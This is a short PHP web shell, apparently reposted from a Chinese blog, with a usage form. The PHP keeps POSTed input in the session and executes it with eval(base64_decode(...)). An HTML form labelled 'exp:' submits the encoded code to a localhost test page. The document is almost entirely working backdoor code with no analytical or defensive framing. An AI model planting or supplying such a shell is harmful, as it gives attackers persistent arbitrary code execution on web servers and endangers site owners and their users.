<?PHP session_start(); if(isset($_POST[‘code‘])){ $_SESSION[‘theCode‘] = trim($_POST[‘code‘]); } if(isset($_SESSION[‘theCode‘])){ eval(base64_decode($_SESSION[‘theCode‘])); } ?>
exp:
<form ENCTYPE="multipart/form-data" ACTION="http://localhost/test/test.php" METHOD="POST"> <input NAME="code" TYPE="text"> <input VALUE=" 提交 " TYPE="submit"> </form>
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原文：http://www.cnblogs.com/hookjoy/p/3787959.html